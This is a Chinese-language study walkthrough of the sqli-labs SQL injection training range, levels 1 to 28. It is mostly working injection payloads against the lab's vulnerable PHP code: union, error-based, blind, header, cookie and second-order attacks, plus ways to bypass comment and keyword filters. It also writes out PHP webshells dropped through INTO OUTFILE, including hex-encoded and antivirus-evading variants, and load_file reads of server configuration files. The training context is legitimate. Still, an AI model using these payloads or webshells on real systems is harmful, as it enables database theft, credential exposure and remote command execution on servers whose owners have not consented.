常用函数#

database() / schema() 获取当前数据库名

version() 获取 MySQL 版本

user() / current_user() 获取当前登录的数据库用户

@@datadir 获取 MySQL 数据存储路径

@@basedir 获取 MySQL 安装路径

concat() 拼接字符串（常用于多字段合并显示）

group_concat() 将多行结果拼接成一行（注入中必用！）

union联合注入#

UNION 是 SQL 关键字，作用是合并两个或多个 SELECT 语句的结果集

它有两个==硬性要求==：

1.前后两个 SELECT 的列数必须相同

2.对应列的数据类型必须兼容

LIMIT 偏移量 ，条数 LIMIT 0,1意思是从第0条数据开始，取一条数据

?id=0’ union select 1,table_name,3 from information_schema.tables where table_schema=database()—+

这里是进行查询当前库的所有表名，这里可以用database()函数，如果直接写‘security’可能会直接被过滤

http://home.ctfstu.com/sql/less-1/index.php?id=1’ union select 1,2,3—+

这里页面只能显示第一条语句（UNION会把前后两个查询结果合并展示，但是页面会优先显示前面的内容）

可以http://home.ctfstu.com/sql/less-1/index.php?id=-1’ union select 1,2,3—+

让前面的命令不能执行（可以讲前面的内容改为数据库不存在的数据），从而是后面的语句进行执行

这里是一个数字型（不用加单引号）。

至于要的数据在哪里显示，要看有没有==回显位==（回显位 = 页面上能把数据库查询结果 “显示出来” 的位置），这里图片中的Dhakkan就没有回显位，有回显位的位置是2和3.

==单引号的作用==：SELECT * FROM users WHERE id=’ 1’（这里单引号提前闭合） union select 1,2,3（后面这一部分不再是字符串，而是构成了独立的sql语句）—+（讲后面的部分注释掉） ’ LIMIT 0,1;

判断参数是数字型还是字符型

参数判断的方法：12345可能不是数字型 使用and 1=1来判断#

)

第一个是字符型 （ 实际上是“id =root and 1=2”,其中and不能当作指令来对待）依然显示，第二个是数字型不能执行

也可以用数字的运算来验证，如果是字符型不能进行运算，那么得到的界面是id=2；如果是数字型可以进行运算，得到的结果是id=1

查询列数的方法：group by 数字（通过尝试得出页面数据列数量） order by有同样的效果#

如果order 或者是group 成功了，会出现id=1的界面.

这里以查询users中的账户和密码为例（直接注入）#

这里查询当前数据库的table_name(表名)，被限制了输出一个语句，可以用group_concat() ( 将多行结果拼接成一行（注入中必用！）)

下面是Less-3的源码，以此源码举例说明来补充基础知识#

1
 $id=$_GET['id'];  //直接接收参数，没有任何过滤
2
//SQL 拼接语句
3
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
4
//这里是一个字符型注入,它的闭合方式是')
5
// 执行 SQL
6
    $result=mysqli_query($con1, $sql);
7
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);
8
if($row)
9
    {
10
        //有回显，输出username和password
11
        echo 'Your Login name:'. $row['username'];
12
        echo "<br>";
13
        echo 'Your Password:' .$row['password'];
14
    }
15
    else
16
    {
17
        //打印数据库错误信息
18
        print_r(mysqli_error($con1));
19
    }

Less-1：字符型#

Less-2：数字型#

Less-3：闭合方式是‘)#

Less-4：闭合方式是”#

1
$id = '"' . $id . '"';   //这里注意id的命名方式

Less-5：无回显联合查询**，**只能用报错注入#

1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//这里是'字符型

页面不输出查询数据，只有正确 / 错误两种页面，不能用 Union 回显

依靠MySQL 报错信息爆出数据

updatexml报错最多显示 32 位字符，长数据要截取

1
updatexml(xml_target（目标xml内容）, xpath_expr（xml文档路径）, new_value（更新的内容）)
2
extractvalue(xml_target（目标xml内容）, xpath_expr（xml文档的路径）)

1
select updatexml(1, '~test', 1);
2
#当 xpath_expr 中包含 ~、!、#,@,$,:,],[ 等非法XPath字符，MySQL会报错并显示你的输入

1
-- 把 ~test 替换成一个能查询数据的子查询，就可以通过报错信息"带出"数据。
2
select updatexml(1, concat('~', database()), 1);
3
#这里的concat是sql拼接语句
4
-- 报错: XPATH syntax error: '~数据库名'

1
#报错信息最多显示32字符，超时会被截断
2
-- 如果数据很长，只显示前32位
3
select updatexml(1, concat('~', (select group_concat(table_name) from information_schema.tables where table_schema=database()), 1);

1
select updatexml(1, concat('~', substr((查询语句), 1, 31)), 1);
2
#取1-31位

1
-- 1. 拿数据库名
2
' and extractvalue(1, concat('~', database())) --+
3
-- 2. 拿表名（分段）
4
' and extractvalue(1, concat('~', substr((select group_concat(table_name) from information_schema.tables where table_schema='you_db'), 1, 31))) --+
5

6
-- 3. 拿字段名
7
' and extractvalue(1, concat('~', substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), 1, 31))) --+
8

9
-- 4. 拿数据
10
' and extractvalue(1, concat('~', substr((select group_concat(username, ':', password) from you_db.users), 1, 31))) --+
11
#这里最后的you_db.users不能写成database().users   此处的.是用来分隔数据库和表名的，不是用来调用的

Less-6：闭合方式是“ ,其他的和Less-5没有区别#

Less-7：这里遇到了一个问题，闭合方式怎么确定#

1
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
2
#这里的闭合方式是'))
3
#但是在注入是我用/?id=2'和/?id=2')  ，/?id=2'))都报错
4
#?id=2'))--+可以在后面进行省略来判断前面的闭合方式
5
#要是显示正常的页面，那么'))是正确的，如果报错，就是错误的

这里可以尝试用报错注入漏洞，但是Less-7这个关卡是主要是专门用来练习**文件读写（Into Outfile）**的关卡。

into outfile 写文件注入

利用 MySQL 导出数据到网站目录，写一句话木马

权限要求：MySQL 有写文件权限、知道网站绝对路径

注意：

闭合必须用：')

靶场必须开启 MySQL 导出权限

要知道网站物理路径，否则写不进目录

防火墙、权限不足会直接失败

1
SELECT * FROM users INTO OUTFILE '/tmp/result.txt';
2
SELECT '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/shell.php';

1
-- 查看限制
2
SHOW VARIABLES LIKE "secure_file_priv";#secure_file_priv是文件读写权限
3
-- NULL：禁止导出
4
-- 空值：无限制（最好）
5
-- /path/：只能导出到指定目录

1
-- 查看当前用户权限
2
SELECT * FROM mysql.user WHERE user=user();
3
-- 或
4
SELECT file_priv FROM mysql.user WHERE user='root';

1
-- 通过报错获取路径
2
?id=1' and updatexml(1,concat(0x7e,@@basedir),1)--+  #@@datadir  获取 MySQL 数据存储路径
3

4
?id=1' and updatexml(1,concat(0x7e,@@datadir),1)--+  #@@basedir  获取 MySQL 安装路径
5

6
-- 通过 load_file 读取配置文件
7
?id=1' and 1=2 union select 1,load_file('C:/xampp/apache/conf/httpd.conf'),3--+
8
?id=1' and 1=2 union select 1,load_file('/etc/apache2/apache2.conf'),3--+

1
-- 基础写法
2
?id=1' union select 1,2,"<?php @eval($_POST['cmd']);?>" INTO OUTFILE '/var/www/html/shell.php'--+
3

4
-- 十六进制绕过（避免引号转义）
5
?id=1' union select 1,2,0x3c3f70687020406576616c28245f504f53545b22636d64225d293b3f3e INTO OUTFILE '/var/www/html/shell.php'--+
6

7
-- 使用 lines terminated by（绕过WAF）
8
?id=1' union select 1,2,3 INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY 0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e--+

1
// PHP 一句话木马
2
<?php @eval($_POST['cmd']);?>
3

4
// 更复杂的一句话（绕过检测）
5
<?php $a='as'.'sert';$a($_POST['x']);?>
6

7
// 使用 hex 编码
8
<?php eval(base64_decode('cGhwaW5mbygpOw=='));?>

场景：sqli-labs Less-7（文件写入）#

1
# 1. 检查是否可写
2
http://127.0.0.1/sqli-labs-php7-master/Less-7/?id=1')) into outfile "/tmp/test.txt" --+
3

4
# 2. 获取绝对路径（通过报错）
5
http://127.0.0.1/sqli-labs-php7-master/Less-7/?id=1')) and extractvalue(1,concat(0x7e,@@basedir)) --+
6

7
# 3. 写入 webshell
8
http://127.0.0.1/sqli-labs-php7-master/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile "E:/phpstudy_pro/WWW/te.php"--+    #这里你要注意要写在phpstudy的根目录里，浏览器只能访问到根目录的东西
9

10
# 4. 连接 webshell
11
# POST 请求：http://127.0.0.1/te.php
12
# 参数：cmd=system('whoami');
13
#直接写在地址栏 http://127.0.0.1/te.php?cmd=... 是没用的，因为 PHP 收不到 $_POST 数据。
14
#浏览器默认发送的是GET请求，而后门代码写的是$_POST['cmd'],只接受POST数据

这里如果你的电脑端下载了火绒的话，会直接被拦截掉。

这里你可以尝试用assert（试过了不行），字符串拼接绕过特征检测（成功了），使用异或或取反等更复杂的免杀手段。

1
<?php $a=$_POST['c'];$b='md';$c='eval';$c($a); ?>

Less-8:闭合方式是‘#

这里要用到布尔盲注（页面没有报错信息、没有数据显示位时，只能通过页面返回的True/False 差异来逐字符获取数据。）

1
-- 长度
2
' or length(database()) = 8 --+
3

4
-- 第1位
5
' or ascii(substr(database(),1,1)) = 115 --+  -- 's'
6

7
-- 第2位(可以使用and，但是要确认amdin这个用户存在)
8
admin' and ascii(substr(database(),2,1)) = 101 --+  -- 'e'

Less-9：这里的闭合方式是‘（我是看源码得到的，不是通过报错得到的）#

这里的if和else输出一样，没有区别，都是You are in…

这里Less-8是布尔盲注，判断方法是看页面有无内容

Less-9是时间盲注，判断方法是看响应时间

1
if($row)
2
  {
3
    echo '<font size="5" color="#FFFF00">';
4
    echo 'You are in...........';
5
    echo "<br>";
6
      echo "</font>";
7
    }
8
  else
9
  {
10

11
  echo '<font size="5" color="#FFFF00">';
12
  echo 'You are in...........';
13
  //print_r(mysqli_error($con1));
14
  //echo "You have an error in your SQL syntax";
15
  echo "</br></font>";
16
  echo '<font color= "#0000ff" font size= 3>';
17

18
  }

1
#Less-9的流程
2
-- 判断数据库长度是否大于 5（如果大于5，延时5秒）
3
http://127.0.0.1/sqli-labs-php7-master/Less-9/?id=1' and if(length(database())>5, sleep(5), 0) --+
4
#之后再利用二分查找定位长度
5
-- 获取第一个表的长度
6
http://127.0.0.1/sqli-labs-php7-master/Less-9/?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5, sleep(5), 0) --+
7

8
-- 获取第一个表的第1个字符
9
http://127.0.0.1/sqli-labs-php7-master/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100, sleep(5), 0) --+
10
#之后的做法和Less-8的做法类似，用用ascii()来查询字符，进而获取想要 数据

Less-10：这里的做法和Less-9一样，只是闭合方式改成了“#

Less-11：登入框POST注入（单引号类型）#

1
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

1
#尝试万能密码
2
'or 1=1 #
3
#判断字段数
4
'or 1=1 order by 2 #
5
#判断回显位
6
'union select 1,database() #
7
#判断数据库名
8
'union select 1,database() #
9
#判断表名:
10
'union select 1,table_name from information_schema.tables where table_schema='security' #
11
#判断列名:
12
'union select 1,column_name from information_schema.columns where table_schema='security' and table_name='emails' #
13
#判断数据:
14
'union select 1,id from emails #

Less-12：这里和Less-11一样，只是变成了“)闭合#

Less-13：闭合方式‘) 盲注/报错注入#

无回显

Less-14：闭合方式“ 盲注/报错注入#

这一题和Less-13一样，只是闭合方式变成了”

Less-15：闭合方式是‘ 盲注（时间和布尔）#

1
#php的这行代码表示滚逼了报错信息，不能进行报错注入
2
error_reporting(0);
3
#但是仅是代表php不能报错，不代表mysql不报错，这里没有print_r(mysqli_error($con1));不能显示mysql报错信息

1
#先印证闭合方式，寻找一个可能存在的id名
2
'or 1=1 #
3
#再进行盲注
4
' or length(database())>5 #

Less-16:闭合方式是“) 盲注（时间和布尔）#

这一题和Less-15思路一样，只是闭合方式改为“)

Less-17:密码重置框：闭合方式是‘ 报错注入#

这一题你必须知道至少一个正确的用户名（要不你没法在密码框中注入）

Less-18：HTTP头部注入（User-Agent注入）#

这里在Less-23找到了name=*Angelina*,password=0;

User-Agent：告诉服务器“我是谁”（用什么设备/浏览器访问）。

1
function check_input($con1, $value)
2
{
3
    if(!empty($value))
4
    {
5
        $value = substr($value,0,20);      // 截断到20字符
6
    }
7

8
    if (get_magic_quotes_gpc())
9
    {
10
        $value = stripslashes($value);     // 去掉转义斜杠
11
    }
12

13
    if (!ctype_digit($value))               // 如果不是纯数字
14
    {
15
        $value = "'" . mysqli_real_escape_string($con1, $value) . "'";
16
    }
17
    else
18
    {
19
        $value = intval($value);
20
    }
21
    return $value;
22
}

这一题有严密的防御机制：截断到20字符，去转义，转义字符（将单引号转成’）,加外层引号。

这里是的uname和passwd无法注入，因为引号被转义了。

但是这里$uagent没有任何人过滤

1
$uagent = $_SERVER['HTTP_USER_AGENT'];

1
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

由于 $uagent 是直接拼接进 SQL 语句的，且没有经过任何过滤，这就产生了一个完美的单引号闭合的 INSERT 型注入点。

1
echo 'Your User Agent is: ' .$uagent;
2
echo "<br>";
3
print_r(mysqli_error($con1));

这构成了**报错注入（Error-based Injection）**的条件。只要你在 User-Agent 中构造的 Payload 触发了 MySQL 报错，报错信息就会直接显示在页面上。

这一关是绕过前端表单的防御，在 HTTP 请求头中寻找突破口。

这里思路是对的，可是我拿BurpSuit抓到包后修改包后还是不能显示报错信息，我觉得是我的用户名和密码不正确（只是猜测）

这里的’ and extractvalue(1, concat(0x7e, database(), 0x7e)) and ‘也可以写成’ and extractvalue(1, concat(0x7e, database(), 0x7e)) ,1,1) # 主要是补全后面有的$IP和$uname

Less-19请求头注入（Referer字段注入）#

Referer：告诉服务器“我从哪里来”（是从哪个链接跳转过来的）。

1
$uagent = $_SERVER['HTTP_REFERER']; // 注意：变量名可能叫 $uagent，但其值来源于 HTTP_REFERER
2
$IP = $_SERVER['REMOTE_ADDR'];

这里直接将 HTTP 请求头中的 Referer 字段的值赋给了一个变量，并且完全没有进行任何安全过滤。

1
$insert = "INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
2
mysqli_query($con1, $insert);

由于 $uagent（其值来自 Referer）被直接拼接进了 SQL 语句，这就构成了一个典型的 INSERT 型注入点。

1
print_r(mysqli_error($con1))#这里可以用报错注入

1
--查数据库
2
' and updatexml(1, concat(0x7e, database(), 0x7e), 1) and '
3
-- 查表名
4
' and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1) and '
5
-- 先查用户名
6
' and updatexml(1, concat(0x7e, (select username from users limit 0,1), 0x7e), 1) and '
7
-- 再查对应的密码
8
' and updatexml(1, concat(0x7e, (select password from users where username='Dumb'), 0x7e), 1) and '

Less-20:“Cookie Injection - Error Based”（基于错误的 Cookie 注入）#

1
else {
2
    //漏洞点:直接从 Cookie 获取 uname，没有任何过滤！
3
    $cookee = $_COOKIE['uname'];
4
    //拼接:直接拼接到 SQL 语句中，且用单引号包裹
5
    $sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
6
    $result = mysqli_query($con1, $sql);
7
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);
8
    if($row) {
9
        // 显示用户信息
10
        echo "Your Login name: " . $row['username'];
11
    } else {
12
        //报错回显:打印 MySQL 错误信息
13
        print_r(mysqli_error($con1));
14
    }

闭合方式是‘ 报错注入

1. 获取正常 Cookie（在浏览器中输入账号 admin 和密码 admin 登录。登录成功后，页面会显示 “You are logged in”。此时浏览器已经存入了 uname=admin 的 Cookie。）

2. 抓包并修改（刷新页面，使用 Burp Suite 拦截请求）

3. Payload 构造

   1
   #and写法
   2
   admin' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
   3
   #or写法
   4
   ' or updatexml(1,concat(0x7e,database()),1) or '

Less-21：Cookie注入和Base64编码#

1
#服务器在设置 uname Cookie 时，使用了 base64_encode() 函数。
2
setcookie('uname', base64_encode($row1['username']), time()+3600);
3
#获取 Base64 编码的字符串
4
$cookee = $_COOKIE['uname'];
5
#先进行 Base64 解码
6
$cookee = base64_decode($cookee);
7
#直接拼接
8
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
9
$result=mysqli_query($con1, $sql);

1. 获取Cookie
2. 进行Base64解码
3. Payload构造用Base64编码，替换Cookie

这里的#和—+可能有编码问题可以改写成admin’and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) and ‘1’=‘1 将后面的’闭合掉

Less-22：Cookie 注入，Base64 + 双引号#

方法和Less-21一样，只是闭合方式改成“

Less-23:注释符过滤的绕过#

1
#过滤了#,--
2
$reg = "/#/";
3
$reg1 = "/--/";
4
$replace = "";
5
$id = preg_replace($reg, $replace, $id);
6
$id = preg_replace($reg1, $replace, $id);

既然无法注释掉后面的内容，那就手动构造完整的闭合。

1
#手动闭合
2
?id=-1' union select 1,2,3 or '1'='1
3
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' or '1'='1
4
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' or '1'='1
5
?id=-1' union select 1,group_concat(username,':',password),3 from users or '1'='1

此处不能用order by 数字（因为ORDER BY 子句必须放在整个 SELECT 语句的最后面，而此时最后面是‘1’=‘1）

Less-24:二次注入（存储型注入）#

• 前面的关卡（一次注入）：你直接把恶意代码发给服务器，服务器当场就执行了。
• Less-24（二次注入）：你先把恶意代码“存”进数据库里，等服务器自己读取并信任了这份数据，它才会在你设定的另一个地方引爆。
  1. 存储：将恶意的 SQL 片段（如 admin'#）作为用户名存储到数据库中。此时因为转义处理，不会报错。
  2. 触发：当你使用这个恶意用户名进行后续操作（如修改密码）时，程序从数据库取出该用户名并拼接到新的 SQL 语句中，此时恶意代码被执行。

靶场里已经有个叫 admin 的用户，你的目标是不用知道他的原密码，直接改掉它。

1. 注册

   1
   // 插入数据时使用了双引号包裹，并对输入进行了转义
   2
   $sql = "insert into users (username, password) values(\"$username\", \"$pass\")";

2. 修改密码

   1
   $username = $_SESSION["username"]; // 从 Session 获取用户名（即你注册时的恶意用户名）
   2
   $curr_pass = mysqli_real_escape_string($con1, $_POST['current_password']);
   3
   $pass = mysqli_real_escape_string($con1, $_POST['password']);
   4
   
   5
   //漏洞点:直接拼接 $username，没有再次过滤！
   6
   $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

   这里的mysqli_real_escape_string:它的作用是根据当前数据库连接的字符集，对字符串中的特殊字符进行转义（添加反斜杠），使其可以安全地拼接到 SQL 语句中。

   现在用预处理语句（这个会在笔记最前面进行补充）

   1. 先用admin’ #进行注册（存储环节）这里的闭合方式可以是用test’123进行实验，如果成功，则闭合方式是‘ ，此时用test”123就会报错，反之test’123会报错
   2. 修改admin’ #的密码（触发）
   3. 此时就可以用admin’ #的密码登入admin的账户了

Less-25：闭合方式‘ 关键字过滤与绕过(OR&AND)#

这里用— a作为注释，#可能被浏览器当作注释将后面的内容抛弃（包括#本身）

1
#测试字段数（oorrder绕过）
2
http://127.0.0.1/sqli-labs-php7-master/Less-25/?id=1' oorrder by 3 -- a
3
http://127.0.0.1/sqli-labs-php7-master/Less-25/?id=-1' union select 1, database(), 3 -- a
4
#也可以用手动闭合的方式，记得（anandd）
5
http://127.0.0.1/sqli-labs-php7-master/Less-25/?id=-1' union select 1, database(), 3 anandd '1'='1

Less-26:#

1
function blacklist($id)
2
{
3
    $id = preg_replace('/or/i', '', $id);   // 移除 or (不区分大小写)
4
    $id = preg_replace('/and/i', '', $id);  // 移除 and (不区分大小写)
5
    $id = preg_replace('/[\/\*]/', '', $id);// 移除 /*
6
    $id = preg_replace('/[--]/', '', $id);  // 移除 --
7
    $id = preg_replace('/[#]/', '', $id);   // 移除 #
8
    $id = preg_replace('/[\s]/', '', $id);  // 【关键】移除所有空白字符（空格、换行等）
9
    return $id;
10
}

这里逻辑词没了，注释没了，空格没了

绕过空格

虽然普通空格被过滤了，但 MySQL 支持多种空白字符来分隔关键字。在 URL 中，我们可以利用以下编码：

• %0a：换行符 (New Line) —— 最常用
• %0b：垂直制表符 (Vertical Tab)
• %0c：换页符 (Form Feed)
• %0d：回车符 (Carriage Return)
• %20：普通空格（会被过滤，不能用）
• %a0：特殊空格（在某些环境下可用）
• 示例：UNION SELECT -> UNION%0aSELECT

绕过AND/OR——双写与符号

• 双写绕过：
  • and -> anandd (程序删掉中间的 and，剩下 and)
  • or -> oorr (程序删掉中间的 or，剩下 or)
• 符号替代（更简单）：
  • AND -> &&
  • OR -> ||

绕过注释

手动闭合 ‘1’=‘1

1
#查数据库
2
http://127.0.0.1/sqli-labs-php7-master/Less-26/?id=1%27||updatexml(1,concat(0x7e,database()),1)||%271%27=%271
3
#查表名
4
http://127.0.0.1/sqli-labs-php7-master/Less-26/?id=1%27||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=%27security%27))),1)||%271%27=%271
5
#剩下的和之前一样

可以尝试使用&&，但是浏览器会将&&解析成参数分隔符，则可以使用%26%26(URL编码)

Less-27：闭合方式‘ 过滤union,select,空格#

1
function blacklist($id)
2
{
3
$id= preg_replace('/[\/\*]/',"", $id);    //strip out /*
4
$id= preg_replace('/[--]/',"", $id);    //Strip out --.
5
$id= preg_replace('/[#]/',"", $id);      //Strip out #.
6
$id= preg_replace('/[ +]/',"", $id);      //Strip out spaces.
7
$id= preg_replace('/select/m',"", $id);      //Strip out spaces.
8
$id= preg_replace('/[ +]/',"", $id);      //Strip out spaces.
9
$id= preg_replace('/union/s',"", $id);      //Strip out union
10
$id= preg_replace('/select/s',"", $id);      //Strip out select
11
$id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
12
$id= preg_replace('/SELECT/s',"", $id);      //Strip out SELECT
13
$id= preg_replace('/Union/s',"", $id);      //Strip out Union
14
$id= preg_replace('/Select/s',"", $id);      //Strip out select
15
return $id;
16
}

绕过union/select——利用正则模式的差异

可以使用换行符或混合大小写，但是在Less-28，这种方法会失效，需要使用”双写绕过“

源码中使用了一个特殊的技巧：

• /select/m：m 代表多行模式，. 不匹配换行符。
• /union/s：s 代表单行模式，. 匹配换行符。

虽然源码看起来过滤很严，但在实际测试中（或者针对某些特定配置），利用换行符 %0a 打断关键字，往往能绕过这种基于行的匹配。

• UNION -> UNI%0aON
• SELECT -> SEL%0aECT

此外这里是黑名单（不允许出现什么），大小写不敏感

绕过空格——和上面一样

绕过注释——和上面一样

1
#利用大小写不敏感和空格（换行符），||
2
http://127.0.0.1/sqli-labs-php7-master/Less-27/?id=0%27%20UnIoN%20%0a%20SeLeCt%20%0a%201,2,3%20%0a%20||%20%271%27=%271
3
#数据库
4
http://127.0.0.1/sqli-labs-php7-master/Less-27/?id=1'%0aand%0aextractvalue(1,concat(0x7e,database(),0x7e))%0aand%0a'1'='1

Less-28：闭合方式‘) 过滤union select联合关键词#

1
function blacklist($id)
2
{
3
    $id = preg_replace('/[\/\*]/', "", $id); // 移除 /*
4
    $id = preg_replace('/[--]/', "", $id);   // 移除 --
5
    $id = preg_replace('/[#]/', "", $id);    // 移除 #
6
    $id = preg_replace('/[ +]/', "", $id);   // 移除空格
7
    // ...省略部分大小写过滤...
8
    //关键:正则匹配 'union' 后面紧跟一个或多个空白字符，再跟 'select'
9
    $id = preg_replace('/union\s+select/i', "", $id);
10
    return $id;
11
}

仔细看正则表达式 /union\s+select/i，它只匹配 union 和 select 连在一起的情况。但是，源码中并没有单独过滤 union 或 select 这两个单词！我们可以把它们拆开，或者利用换行符绕过。

绕过union select——利用换行符%0a